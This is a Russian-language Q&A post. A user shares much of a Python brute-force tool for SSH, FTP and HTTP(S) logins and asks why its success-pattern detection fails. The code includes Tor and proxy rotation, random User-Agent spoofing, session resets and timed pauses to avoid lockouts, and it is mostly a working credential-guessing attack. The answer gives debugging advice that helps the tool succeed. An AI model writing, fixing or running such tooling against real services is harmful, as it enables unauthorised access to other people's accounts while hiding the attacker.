Вопрос или проблема
Мой скрипт предназначен для аудита паролей, и я успешно тестирую веб-формы, используя –failure-content-length, но если я использую –success-content-length или success/failure-pattern, я получаю неопределенный ответ, даже при использовании правильных значений длины успеха или паттернов.
Аргументы:
parser = argparse.ArgumentParser(description='Brute force против SSH и FTP сервисов.')
parser.add_argument('-sv', '--service', nargs="+", required=True,
help="Служба для атаки. (http, ftp, ssh) ОПЦИОНАЛЬНО: номер порта (ssh 2222, http 8080)")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-w', '--wordlist', help="Словарь паролей.")
group.add_argument('-r', '--rand', nargs=2, metavar=('MIN_LEN', 'MAX_LEN'), type=int,
help="Генерировать случайные пароли с длиной от MIN_LEN до MAX_LEN.")
# Добавить -u для одного пользователя и --users для файлового ввода
parser.add_argument('-u', '--user', help="Один логин (например, -u saad).")
parser.add_argument('--users', help="Файл с списком логинов (например, --users /test/user.txt).")
parser.add_argument('--ip', required=True, type=str, help="IP-адрес цели.")
parser.add_argument('--tor', action='store_true', help="Использовать Tor для анонимизации")
parser.add_argument('-px', '--proxies', type=str, help="Файл со списком прокси.")
parser.add_argument('-i', '--iterations', type=int, default=3, choices=range(3, 10),
help="Количество попыток для каждого логина (по умолчанию: 3)")
parser.add_argument('--csrf', nargs=1, help='CSRF токен для включения в запрос')
parser.add_argument('--cookie', nargs=1, help='Значение cookie для включения в запрос')
parser.add_argument('--https-proxy', help='Указать HTTPS прокси (например, 127.0.0.1:8081)', type=str)
# Добавлены новые аргументы
parser.add_argument('--resume', action='store_true', help="Возобновить с последнего состояния.")
parser.add_argument('--verbose', '-v', nargs="?", type=int, choices=[1, 2], const=1, default=0, help='Уровень подробностей (1 или 2)')
parser.add_argument('-ra', '--random-agent', action='store_true', help="Использовать случайные строки User-Agent для HTTP-атак.")
parser.add_argument('--http-code', type=str, help="Использовать HTTP статус код для определения паролей")
parser.add_argument('--http-post', type=str, help="HTTP POST параметры формы.")
parser.add_argument('--success-content-length', type=int, help="Длина содержимого, указывающая на успешный вход.")
parser.add_argument('--failure-content-length', type=int, help="Длина содержимого, указывающая на неуспешный вход.")
parser.add_argument('--success-pattern', type=str, help="Шаблон, указывающий на успешный вход.")
parser.add_argument('--failure-pattern', type=str, help="Шаблон, указывающий на неуспешный вход.")
parser.add_argument('-ss', '--sessions', action='store_true', help="Принудительное создание новых сессий")
parser.add_argument('-ps', '--pause', nargs=2, type=int, metavar=('MINUTES_BEFORE_PAUSE', 'PAUSE_DURATION'),
help='Приостановить атаку после первых указанных минут и приостановить на указанные минуты.')
args = parser.parse_args()
iterations = args.iterations
if len(args.service) > 1:
args.service = (args.service[0], int(args.service[1]))
else:
if args.service[0] == 'ftp':
args.service = ('ftp', 21)
elif args.service[0] == 'ssh':
args.service = ('ssh', 22)
elif args.service[0] == 'http':
args.service = ('http', 80)
elif args.service[0] == 'https':
args.service = ('https', 443)
if args.wordlist and args.rand:
parser.error("Нельзя использовать и -w и -r одновременно. Выберите одно.")
elif not args.wordlist and not args.rand:
parser.error("Необходимо предоставить одно из -w или -r.")
if isinstance(args.service, list) and len(args.service) > 1:
args.service = tuple(args.service)
elif len(args.service) == 1:
args.service = args.service[0]
if args.verbose not in [1, 2, 0]:
raise ValueError("Неверное значение для --verbose. Допустимы только 1 или 2.")
if args.user and args.users:
parser.error("Нельзя использовать и -u и --users вместе. Выберите одно.")
# Проверка на использование случайных агентов и сессий
service_type = args.service[0] # Получите тип службы из кортежа
if args.random_agent and service_type not in ['http', 'https']:
print(f"{Fore.WHITE}[{Fore.YELLOW}ALERT{Fore.WHITE}]{Fore.RESET} Модуль случайного агента предназначен для HTTP(S) атак.")
if args.sessions and service_type not in ['http', 'https']:
print(f"{Fore.WHITE}[{Fore.YELLOW}ALERT{Fore.WHITE}]{Fore.RESET} Модуль сессий предназначен для HTTP(S) атак.")
if args.http_code and service_type not in ['http', 'https']:
print(f"{Fore.WHITE}[{Fore.YELLOW}ALERT{Fore.WHITE}]{Fore.RESET} HTTP код предназначен для HTTP(S) атак.")
# Обработка --users как файла, содержащего логины
if args.users:
try:
with open(args.users, 'r', encoding='latin-1') as f:
args.users = [line.strip() for line in f.readlines()]
except FileNotFoundError:
parser.error(f"Файл {args.users} не найден.")
if args.https_proxy and args.service[0] != 'https':
parser.error("--https-proxy может использоваться только с сервисом HTTPS.")
return args
HTTP атака:
failure_content_length, proxy_ip=None, proxy_port=None, csrf_token=None, cookie_value=None):
if proxy_ip and proxy_port:
verbose_print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.GREEN} Прокси {proxy_ip}:{proxy_port}")
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, proxy_ip, int(proxy_port))
socket.socket = socks.socksocket
try:
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
# Использовать случайный User-Agent, если установлен --random-agent
if args.random_agent:
selected_agent = random.choice(USER_AGENTS)
headers['User-Agent'] = selected_agent
verbose_print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Используется случайный User-Agent: {selected_agent}", level=1)
verbose_print(f"CSRF Токен: {csrf_token}, Значение cookie: {cookie_value}", level=1)
data = http_post_params.replace('^USER^', user).replace('^PASS^', password)
if args.csrf: # Проверка, передан ли аргумент args.csrf
data = data.replace('^CSRF^', args.csrf) # Замените на предоставленный CSRF токен
verbose_print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Используется CSRF токен: {args.csrf}", level=1)
else:
data = data.replace('^CSRF^', '') # Опционально замените на пустую строку
# Включите значение cookie, если оно предоставлено
if args.cookie: # Проверка, передан ли аргумент args.cookie
data = data.replace('^COOKIE^', args.cookie) # Замените на предоставленное cookie
verbose_print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Используется cookie: {args.cookie}", level=1)
else:
data = data.replace('^COOKIE^', '') # Опционально замените на пустую строку
verbose_print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Отправка HTTP POST запроса на {ip} с данными: {data}", level=1)
response = requests.post(f"http://{ip}", data=data, headers=headers, timeout=5, verify=False)
response_length = len(response.content)
verbose_print(f"{Fore.WHITE}[{Fore.CYAN}HTTP-STATUS{Fore.WHITE}]{Fore.RESET}: {response.status_code}", level=1)
verbose_print(f"{Fore.WHITE}[{Fore.CYAN}CONTENT-LENGTH{Fore.WHITE}]{Fore.RESET}: {len(response.content)}\n", level=1)
verbose_print(f"{Fore.WHITE}[{Fore.CYAN}HTTP-RESPONSE{Fore.WHITE}]{Fore.RESET}: \n{response.text[:2000]}", level=1)
verbose_print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Проверка шаблона успеха: {success_pattern} в ответе...", level=1)
if failure_content_length is not None and response_length == failure_content_length:
return False # Указывает на неудачу
if failure_content_length is not None and response_length != failure_content_length:
verbose_print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Успех для [*]{Fore.YELLOW}{user}{Fore.RESET}[*]:{Fore.GREEN}{password}", level=1)
return True # Указывает на успех
if success_content_length is not None and response_length == success_content_length:
verbose_print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Успех для [*]{Fore.YELLOW}{user}{Fore.RESET}[*]:{Fore.GREEN}{password}", level=1)
return True # Указывает на успех
if success_pattern and success_pattern in response.text:
verbose_print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Успех для [*]{Fore.YELLOW}{user}{Fore.RESET}[*]:{Fore.GREEN}{password}", level=1)
return True # Указывает на успех
if failure_pattern and failure_pattern in response.text:
return False # Указывает на неудачу
if args.http_code: # Проверка, предоставлен ли аргумент --http-code
if response.status_code == 200:
verbose_print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Успех для пользователя {user} с паролем: {password} (Статус код 200)", level=1)
return True
elif response.status_code in [401, 403]:
return False # Указывает на неудачный вход
verbose_print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.RED} Неопознанный ответ для [*]{Fore.YELLOW}{user}{Fore.RESET}[*]:{Fore.YELLOW}{password}", level=1)
return None
except requests.RequestException as e:
if proxy_ip and proxy_port:
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.RED} Прокси {proxy_ip}:{proxy_port} не удалось.")
else:
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.RED} HTTP атака не удалась: {e}")
return None
Основной блок:
try:
print(current_timestamp(), f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} НАЧАЛО АТАКИ...")
start_time = time.time()
attempt_count = 0
args = parse_arguments()
if args.pause:
verbose_print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Модуль паузы загружен", level=2)
if args.sessions:
verbose_print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Модуль сессий загружен.", level=2)
iterations = args.iterations
time.sleep(0.5)
service = args.service[0]
port = get_port(args)
pause_after_minutes = None
pause_duration_minutes = None
csrf_token = None
cookie_value = None
if args.csrf:
csrf_token = args.csrf # Получите переданный CSRF токен
verbose_print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Модуль CSRF токена загружен", level=2)
if args.cookie:
cookie_value = args.cookie # Получите переданное значение cookie
verbose_print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Модуль cookie загружен", level=2)
if args.pause:
pause_after_minutes = args.pause[0]
pause_duration_minutes = args.pause[1]
next_pause_time = time.time() + pause_after_minutes * 60 # Рассчитайте, когда следует вызвать паузу
if args.service[0] == 'https':
if not args.http_post:
raise ValueError(
f"{Fore.WHITE}[{Fore.YELLOW}ERROR{Fore.WHITE}]{Fore.RESET}{Fore.RED} HTTPS POST параметры должны быть указаны.")
if not (args.success_pattern or args.failure_pattern):
raise ValueError(
f"{Fore.WHITE}[{Fore.YELLOW}ERROR{Fore.WHITE}]{Fore.RESET}{Fore.RED} Должен быть указан шаблон успеха или неудачи.")
passwords = [line.strip() for line in open(args.wordlist, 'r', encoding='latin-1').readlines()]
for password in passwords:
if https_attack(args.ip, args.user, password, args.http_post, args.success_pattern,
args.failure_pattern):
print(f"Пароль найден: {password}")
break
if args.rand:
min_len = args.rand[0]
max_len = args.rand[1]
verbose_print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Случайные пароли с мин: {min_len} и макс: {max_len}", level=2)
args.wordlist = generate_random_password_list(min_length=min_len, max_length=max_len)
if args.tor and args.proxies:
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Нельзя использовать одновременно Tor и файл прокси!")
exit(1)
if args.tor:
handle_timeout(set_up_tor)
if isinstance(port, int):
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Служба: {Fore.YELLOW}{service}{Fore.RESET}")
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Порт: {Fore.YELLOW}{port}{Fore.RESET}")
if not is_service_running(args.ip, port, service):
print(f"{Fore.RED}ОШИБКА: Нет службы, работающей на указанном порту.")
exit(1)
else:
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Служба: {Fore.YELLOW}{service}{Fore.RESET}")
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Порт: {Fore.YELLOW}{port}{Fore.RESET}")
if not is_service_running(args.ip, port, service):
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.RED} ОШИБКА: Нет службы, работающей на указанном порту.")
exit(1)
proxies = []
if args.proxies:
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Загрузка прокси из файла ....")
proxies = load_proxies_from_file(args.proxies)
passwords = [line.strip() for line in open(args.wordlist, 'r', encoding='latin-1').readlines()]
if args.user:
users = [args.user] # Случай одного пользователя
else:
users = args.users # Случай с файлами пользователей
if args.resume:
saved_state = load_progress()
if saved_state:
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.YELLOW} Возобновление с последнего сохраненного состояния...{Fore.RESET}")
attempt_count = saved_state['attempt_count']
passwords = saved_state['remaining_passwords']
users = saved_state['remaining_users']
else:
print(f"{Fore.RED} Нет сохраненного состояния, начинаем с начала.{Fore.RESET}")
password_chunk_size = 3
first_iteration = True
proxy_gen = None
if proxies:
proxy_gen = cycle_through_proxies(proxies)
ssh_auth_type_checked = False
for i in range(0, len(passwords), password_chunk_size):
for idx, user in enumerate(users):
if pause_after_minutes and time.time() >= next_pause_time:
pause_attack(pause_after_minutes, pause_duration_minutes)
verbose_print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.GREEN} Пауза каждые {pause_after_minutes} минут на {pause_duration_minutes} минут", level=2)
next_pause_time = time.time() + pause_after_minutes * 60 #
if args.sessions:
if len(users) > 1: # Первый случай с пользователем в списке
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Создание новой сессии..")
session = create_new_session() # Ваша логика создания сессии здесь
elif len(users) == 1 and i % 12 == 0: # Случай с одним пользователем
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Создание новой сессии..")
session = create_new_session() # Ваша логика создания сессии здесь
proxy_ip, proxy_port = next(proxy_gen) if proxy_gen else (None, None)
if proxy_ip:
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Использование прокси {proxy_ip}:{proxy_port}")
if idx == 0:
if not first_iteration:
print(f"\n{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Возврат к первому пользователю...\n")
else:
print(f"\n{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Переключение на следующего пользователя....\n")
if 'ssh' in service and not ssh_auth_type_checked:
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Проверка типа аутентификации SSH.")
time.sleep(0.6)
auth_type = test_ssh_auth_type(args.ip)
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Обнаружен {auth_type}.")
if auth_type == "Аутентификация по ключу RSA":
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.RED} Аутентификация по ключу RSA, Bruteforce не сработает. Выход.")
exit(0)
else:
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.GREEN} Продолжаем..")
ssh_auth_type_checked = True
for j in range(min(iterations, len(passwords) - i)):
if i + j >= len(passwords):
break
password = passwords[i + j]
print(current_timestamp(),
f"Пробую пользователя [*]{Fore.YELLOW}{user}{Fore.RESET}[*] с паролем: {Fore.YELLOW}{password}")
attempt_count += 1
time_elapsed = time.time() - start_time
if 'ssh' in service:
if not ssh_auth_type_checked:
auth_type = test_ssh_auth_type(args.ip)
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Обнаружен {auth_type}.")
if auth_type == "Аутентификация по ключу RSA":
print(current_timestamp(),
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.RED} Аутентификация по ключу RSA, Bruteforce не сработает. Выход")
exit(0)
ssh_auth_type_checked = True
if port is not None:
port = int(port)
else:
port = 22
if handle_timeout(ssh_attack, args.ip, port, user, password, proxy_ip, proxy_port):
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.GREEN} Пароль найден для [*]{user}[*] за [{time_elapsed:.2f} секунд] с [{attempt_count} попыток]. PASS = {Fore.BLUE}{password} ")
save_to_file(args.ip, args.service, user, password, attempt_count) # Добавлено количество попыток
users.remove(user)
break
elif 'ftp' in service:
if handle_timeout(ftp_attack, args.ip, user, password, proxy_ip, proxy_port):
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.GREEN} Пароль найден для [*]{user}[*] за [{time_elapsed:.2f} секунд] с [{attempt_count} попыток]. PASS = {Fore.BLUE}{password} ")
save_to_file(args.ip, args.service, user, password, attempt_count) # Добавлено количество попыток
users.remove(user)
break
elif 'http' in service:
if not args.http_post:
raise ValueError(
f"{Fore.WHITE}[{Fore.YELLOW}ERROR{Fore.WHITE}]{Fore.RESET}{Fore.RED} HTTP POST параметры должны быть указаны для HTTP атаки.")
if not (
args.failure_content_length or args.success_content_length or args.success_pattern or args.failure_pattern):
raise ValueError(
f"{Fore.WHITE}[{Fore.YELLOW}ERROR{Fore.WHITE}]{Fore.RESET}{Fore.RED} По крайней мере, один параметр ответа должен быть указан для службы HTTP.")
result = http_attack(args.ip, user, password, http_post_params=args.http_post,
success_pattern=args.success_pattern,
failure_pattern=args.failure_pattern,
csrf_token=None,
cookie_value=None,
success_content_length=args.success_content_length,
failure_content_length=args.failure_content_length,
proxy_ip=None, proxy_port=None)
if result is True:
save_to_file(args.ip, args.service, user, password, attempt_count)
users.remove(user)
print(current_timestamp(),
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.GREEN} Пароль найден для [*]{user}[*] за [{time_elapsed:.2f} секунд] с [{attempt_count} попыток]. PASS = {Fore.BLUE}{password} ")
break
else:
verbose_print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Неудачная попытка для пользователя {Fore.YELLOW}{user}{Fore.RESET} с паролем: {Fore.YELLOW}{password}", level=1)
elif 'https' in service:
if not args.http_post:
raise ValueError(
f"{Fore.WHITE}[{Fore.YELLOW}ERROR{Fore.WHITE}]{Fore.RESET}{Fore.RED} HTTPS POST параметры должны быть указаны для HTTPS атаки.")
if not (
args.failure_content_length or args.success_content_length or args.success_pattern or args.failure_pattern):
raise ValueError(
f"{Fore.WHITE}[{Fore.YELLOW}ERROR{Fore.WHITE}]{Fore.RESET}{Fore.RED} По крайней мере, один параметр ответа должен быть указан для службы HTTPS.")
result = https_attack(args.ip, user, password, https_post_params=args.http_post,
success_pattern=args.success_pattern,
failure_pattern=args.failure_pattern,
success_content_length=args.success_content_length,
csrf_token=None,
cookie_value=None,
failure_content_length=args.failure_content_length,
proxy_ip=None, proxy_port=None)
if result is True:
save_to_file(args.ip, args.service, user, password, attempt_count)
print(current_timestamp(),
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.GREEN} Пароль найден для [*]{user}[*] за [{time_elapsed:.2f} секунд] с [{attempt_count} попыток]. PASS = {Fore.BLUE}{password}")
break # Перейти к следующему пользователю
else:
verbose_print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Неудачная попытка для пользователя {Fore.YELLOW}{user}{Fore.RESET} с паролем: {Fore.YELLOW}{password}", level=1)
save_progress(attempt_count, user, password, users[idx:], passwords[i + j + 1:])
first_iteration = False
print(current_timestamp(),
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.BLUE} Атака завершена. FSK - Написано: Дерек Джонстон")
print(current_timestamp(),
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.BLUE} Поддержите HFSK. BTC: bc1qu9h3l4dgzrgpy0e26n98ytjzpxxeqw57vaprvq")
if args.rand:
os.remove(args.wordlist)
except KeyboardInterrupt:
print("\n", current_timestamp(),
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} АТАКА ОСТАНОВЛЕНА. FSK - Написано: Дерек Джонстон")
save_progress(attempt_count, user, password, users[idx:], passwords[i + j + 1:])
exit(0)
except EOFError:
print("\n", current_timestamp(),
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.RED} Неожиданное окончание файла (EOF). Выход.")
exit(1)
Только –failure-content-length, похоже, работает для определения правильного пароля, если я использую длину успеха или любые шаблоны, это дает неопределенный ответ. Я смог успешно определить пароль с помощью –failure-content-length.
Я хотел бы узнать, что может быть причиной этой проблемы.
Я пытался изменить способ использования шаблонов и длины успеха, но не смог получить никаких различных результатов.
Ответ или решение
Проблема, с которой вы столкнулись при использовании вашего скрипта для аудита паролей, связана с тем, что обработка успешных ответов не дает ожидаемого результата, так как скрипт сообщает о "неидентифицированном ответе" даже при использовании правильного контента. Ваша способность определять правильные пароли с помощью --failure-content-length
говорит о том, что ваш скрипт правильно реагирует на неудачные попытки, но не справляется с определением успешных.
Вот несколько причин, по которым это может происходить, и рекомендации по их устранению:
1. Проверьте длину контента успешного ответа
Убедитесь, что значение параметра --success-content-length
установлено корректно. Возможные проблемы могут включать:
- Скрипт может получать дополнительные данные (например, метаданные, сообщения об ошибках) в успешных ответах, что изменяет общую длину.
- Определите длину контента успешного ответа вручную, выполнив один из успешных входов и проверив длину ответа.
2. Корректная работа с шаблонами
Если вы используете шаблоны для определения успешных ответов, убедитесь, что:
- Шаблон действительно присутствует в контенте успешного ответа. Даже небольшие изменения в тексте HTML или сообщения могут сделать шаблон недействительным.
- Попробуйте использовать более уникальные или четкие шаблоны, чтобы повысить вероятность их обнаружения.
3. Убедитесь в отсутствии кэширования
Если ваш тестируемый веб-проект использует кеширование, это может влиять на ваши результаты:
- Для успешных попыток может возвращаться кешированный ответ, не отражающий фактических изменений. Проверьте конфигурацию кеша или используйте флаги для отключения кеширования (например, добавление заголовков
Cache-Control
илиPragma
).
4. Проверьте заголовки запроса
Кроме Content-Type
, возможно, вам также нужно добавить другие заголовки, такие как User-Agent
, Referer
и т.д. Некоторые серверы могут вести себя иначе в зависимости от заголовков:
- Убедитесь, что скрипт отправляет заголовки, которые соответствуют тем, что ожидает сервер.
5. Логирование ответов
Используйте дополнительно логирование для отладки:
- Сохраняйте весь ответ сервера для анализа, чтобы проверить, что происходит во время успешных входов и находится ли необходимая информация в ответах.
6. Обработка HTTP-кода статуса
Проверьте в своем коде, что вы точно обрабатываете HTTP-коды статуса успешных и неуспешных попыток:
- Особенно коды 200 (успех), 401 (не авторизован) и 403 (запрещено), которые могут значить разные вещи в зависимости от конфигурации вашего сервера.
Пример отладки кода
Если вы хотите проверить, как ваш код определяется успешным или неуспешным ответом, добавьте больше подробной информации во время отладки:
verbose_print(f"Received response length: {response_length}, Expected success length: {success_content_length}", level=1)
verbose_print(f"Response text: {response.text}", level=1)
Итог
Переделка подхода к проверке успешных паролей с использованием длины контента и шаблонов должна быть тщательной. Убедитесь, что у вас есть полный контроль над отправляемым запросом и обрабатываемыми ответами. Анализируйте серверные ответы при успехе и неудаче, чтобы точно понять, что происходит.
Следуя этим рекомендациям и подходам, вы сможете диагностировать и, возможно, исправить проблемы, связанные с определением успешных ответов в вашем скрипте для аудита паролей.